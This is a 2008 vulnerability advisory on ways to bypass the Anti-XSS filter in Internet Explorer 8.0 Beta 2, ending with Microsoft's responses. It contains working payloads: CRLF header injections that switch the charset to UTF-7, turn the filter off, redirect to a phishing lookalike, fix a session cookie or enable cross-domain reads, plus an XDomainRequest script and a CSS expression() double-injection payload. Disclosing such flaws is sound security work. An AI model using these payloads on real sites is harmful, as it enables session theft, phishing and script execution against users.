Aspect9: Internet Explorer 8.0 Beta 2 Anti-XSS Filter Vulnerabilities
Release Date:
December 11, 2008
Date Reported:
October 5, 2008
Severity:
Medium-High (Execute scripts, Turning Protection Off, Transfer data Cross
Domains)
Vendor:
Microsoft
Systems Affected:
Windows Platform with Internet Explorer 8.0 Beta 2
Overview:
Aspect9 has discovered several vulnerabilities in Microsoft Windows
Internet Explorer 8.0 Beta 2. This new version of Microsoft's famous
browser includes new security improvements such as a Cross Site Scripting
(XSS) filter. This version also includes a new object that safely allows
transferring data across domains, allowing them to interact with each other.
The Anti-XSS filter has been found to have some security holes in the
current implementation. Microsoft decided to filter "Type 1 XSS" which is
free text send to the server being reflected to the user and therefore
injecting HTML code into the website's page. They chose not to handle
certain situations such as injection into a JavaScript tag space, which
would be extremely difficult to filter. The software giant also chose not
to filter injection into HTTP headers, which will drive hackers to focus on
discovering CRLF vulnerabilities.
A quote of Microsoft's Anti-XSS filter design philosophy:
<<<
"Like all security mitigation and protection technologies, the XSS Filter's
approach does have limitations, being that it is a pragmatic balance
between application compatibility, security, and performance.
Some examples:
* Injection into some contexts is not blocked. Ex: Scenarios where content
can be injected directly into JavaScript without breaking out of a string.
* Injections facilitated by some HTTP headers are not currently blocked.
Ex: "Referer" based injection.
* If a page contains multiple nearby injection points, attacks can be
constructed that thwart the XSS Filter."
<em class="quotelev3">>>></em>
For more information about the Anti-XSS filter:
http://blogs.msdn.com/dross/archive/2008/07/03/ie8-xss-filter-design-
philosophy-in-depth.aspx
In order to understand the contents of this advisory, the reader must be
familiar with the concept of CRLF which is distinguished from CRSF.
http://www.owasp.org/index.php/CRLF_Injection
http://www.owasp.org/index.php/CSRF
Technical Details:
Bypass using CRLF+Encodings:
---------------------------------------------
Microsoft Windows Internet Explorer 8.0 Beta 2 was designed to stop "Type 1
XSS" attacks. CRLF Injection is also XSS type 1 and is not mitigated by the
filter, though the data in the query string will still be filtered.
This means that if an attacker tries to exploit a CRLF for XSS in the
casual manner, used in this demo:
http://www.linkstofiles.com/crlf.py?url=cookie1%3dvalue1;%0D%0A%0D%0A<html><body>
<script>alert('get it?')</script></body></html>
His attack will fail as "<script>" will be filtered to "<sc#ipt>"
However, an attacker can inject a content-type header and overwrite the
page charset and therefore bypass the XSS filter which uses the prior
encoding. A good example for this is with utf-7, the following request:
http://www.linkstofiles.com/crlf.py?url=cookie1%3dvalue1;%0d%0aContent-
Type: text/html; charset%3dutf-7%0d%0a%0d%0a<html><body>+ADw-script+AD4-
alert('owned')+ADw-/script+AD4-</body></html>
This will result in:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-7
Server: Microsoft-IIS/6.0
Set-Cookie: url=cooki1=value1;
X-Powered-By: PleskWin
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
Date: Sun, 05 Oct 2008 23:46:11 GMT
Connection: close
<html><body>+ADw-script+AD4-alert('owned')+ADw-/script+AD4-</body></html>;
Content-Type: text/html
This will be rendered as utf-7 and will execute.
Bypass using CRLF+"X-XSS-Protection":
-------------------------------------------------------
In addition to the problem of CRLF being able to re-write the page and
bypass the filter using a different encoding than the one of the page,
Microsoft were kind enough to leave a backdoor AKA feature for developers
to turn the filter off. This header is called "X-XSS-Protection" which gets
a Boolean value of 0 or 1. Injecting "X-XSS-Protection: 0" though CRLF an
attacker can shutdown the XSS protection for the current request.
Demo:
http://www.linkstofiles.com/crlf.py?url=cooki1%3dvalue1;%0d%0aX-XSS-Protection:
0
%0d%0a%0d%0a<html><body><script>alert('owned')</script></body></html>
Of course the problem goes further to any HTTP header that can be used
maliciously like setting cookies and by that changing to a different user
then the one logged on, such as stealing their cookie and then replacing it
with a cookie of a bulk user and therefore taking over their session. using
"Location:" header to redirect pages and internal frames/iframes to
look-a-like phishing websites and etc...
Demos:
http://www.linkstofiles.com/crlf.py?url=cooki1%3dvalue1;%0d%
0aLocation:http://www.micros0ft.com%0d%0a%0d%0a
http://www.linkstofiles.com/crlf.py?url=cooki1%3dvalue1;%0d%0aSet-
Cookie:sessionid%3dblablablabla_bulk_user_md5_sessionid%0d%0a%0d%
0a<html><body>The server is busy, try again in 30 minutes</body></html>
CRLF+"XDomainRequestAllowed" --> XDomainRequest Enabling:
---------------------------------------------------------
Having a CRLF injection already gives an attacker the ability to overwrite
the HTTP response BODY, which means he can create a new hidden
image/frame/form and send data through it, data such as the domains cookie.
But it is clear that overwriting the body using CRLF and making it look the
same requires a "fetcher" server side script on the same domain. Also a
network filter or a WAF may deny injection of double CRLF (%0d%0a%0d%0a).
As time goes by and security evolves, the attacker should have a harder
time sending this information out silently.
In IE8, there is a new object called "XDomainRequest" which is designed to
allow safe data exchange across domains.
More information at:
http://msdn.microsoft.com/en-us/library/cc288108(VS.85).aspx
The browser will only allow the client(the JavaScript code) to interact
with that website if the website returns the "XDomainRequestAllowed"
Boolean header.
Using CRLF to inject XDomainRequestAllowed header an attacker can interact
in a CROSS DOMAIN mode with that website without his consent, as it is
being faked by the injected header. This attack concept on the XDomainRequest
in general should be named "XAI" (XDR Allowed Injection)
This is a demo request to a CRLF vulnerable web page:
http://www.linkstofiles.com/crlf.py?url=cooki1%3dvalue1;%0d%
0aXDomainRequestAllowed: 1
This is how the attacker's script would look like:
------------------------------------------------
<script>
try {
xdr = new XDomainRequest();
xdr.onload = function() {
alert(xdr.responseText);
}
xdr.open("GET", "http://www.linkstofiles.com/crlf.py?url=cooki1%
3dvalue1;%0d%0
aXDomainRequestAllowed: 1");
xdr.send("");
} catch (e) {
alert(e.description)
}
</script>
------------------------------------------------
The attacker can now transfer data to/from that domain other domains with just 1
header injection, a new, by design weapon to replace leak data with XSS.
An attacker can use the new feature to interact with web servers (i.e. send and
receive data from those domains) by pretending to have the
authorization to do so,
using a single CRLF header injection.
This is an ultimate vulnerability that exploits this new feature to enable easy
information data leakage and cross domain attacks.
UTF-7 Websites are not filtered:
-------------------------------------------
When the page charset is set to utf-7 whether by the http header or by a
meta tag, the Anti-XSS filter will not apply on this page, allowing a utf-7
encoded injected html code to execute. In other words, utf-7 content sent
to utf-7 encoded web pages is not filtered, therefore allowing XSS attacks
on utf-7 web pages.
I must admit that I have never met a website written in utf-7 for non-malicious
purposes, but it is still a feature and there are many website that
implement language templates and receive the charset as a parameter from
the query string or the cookie.
Demos:
http://www.linkstofiles.com/xssurlnoparams.py/+AD4-+ADw-script+AD4-alert
('see?')+ADw-/script+AD4-+ADw-div
http://www.linkstofiles.com/xssurlnoparams.py?data=+AD4-+ADw-script+AD4-
alert('see?')
+ADw-/script+AD4-+ADw-div
Direct bypass using any double injection:
-----------------------------------------
A quote from the filter's architecture implementation:
<<<
"If a page contains multiple nearby injection points, attacks can be
constructed that thwart the XSS Filter."
<em class="quotelev3">>>></em>
Well, that is not accurate.
ANY second appearance of the injected data will allow execution of script
code. The concept is that data inside tags such as script and style is
parsed by their own parser.
The CSS(style) parser has 2 characteristics that differentiate it from the
script parser:
1) It is a silent parser (there is no indication of failure)
2) It is executing as batch operations per block, which means that closing
A NON EXISTING (never opened) block will cause parsing of the following
blocks. What does this mean?!?!
It means that in a quite common scenario of any text injected just twice at
any position inside the HTML(except inside a textarea/script/style tags,
these can also be fixed by putting </textarea> in a css comment) of the
page will cause at the first point where the code is injected to the page
} BODY{a:expression(alert('hi'))};</style>***<style>***
a style tag is opened and anything after it will be ignored by a silent css
parser error and on the second injection:
***} BODY{a:expression(alert('hi'))};</style>***<style>
a new style block will be opened, rendered and this would automatically
execute script code!
Demo:
http://www.linkstofiles.com/doublexss.py?username=} BODY{a:expression
(alert('hi'))};</style><style>
Filter False Positives:
-----------------------
The following text send to a page as parameters will trigger a false-positive
match by the Anti-XSS filter:
<"script">alert('innocent code')</script>
<'script'>alert('innocent code')</script>
"<[whatever]script>alert('innocent code')</script>
The following should trigger on most CSS design forums with a preview
feature:
<style>@import</style>
<style>x:y(1)</style>
This means that a CSS tutorial web page cannot send to itself or to another
page the following raw text (whether it will be treated as text or as HTML
by the receiving page):
<style>color:rgb(1,2,3)</style>
Vendor Status:
Microsoft's response regarding the CRLF issues:
"We will not be lead to compromise the XSS Filter's web site compatibility
by attempting to address every conceivable XSS attack scenario."
Microsoft's response regarding the STYLE issue:
"We hope we can get a change in prior to IE8 RC1"
Microsoft's response regarding the "filter not applied in UTF-7 Websites":
"Behaviour is by design"
Credit:
Rafel Ivgi
Greetings:
David Ross, the_pull, Arkon, JonD, lorgandon, xbxice, Budo, Reiter,
Inga, Lucid, h.p.c, Dror Shalev, Liu Die Yu, wir3less, Zull, 0fir0,
dbrod, ax1les,
whitehawkofjustice
Disclaimer
The information within this paper may change without notice.
Use of this information constitutes acceptance for use in an
AS IS condition. There are no warranties, implied or express,
with regard to this information. In no event shall the author
be liable for any direct or indirect damages whatsoever
arising out of or in connection with the use or spread of
this information. Any use of this information is at the
user's own risk.
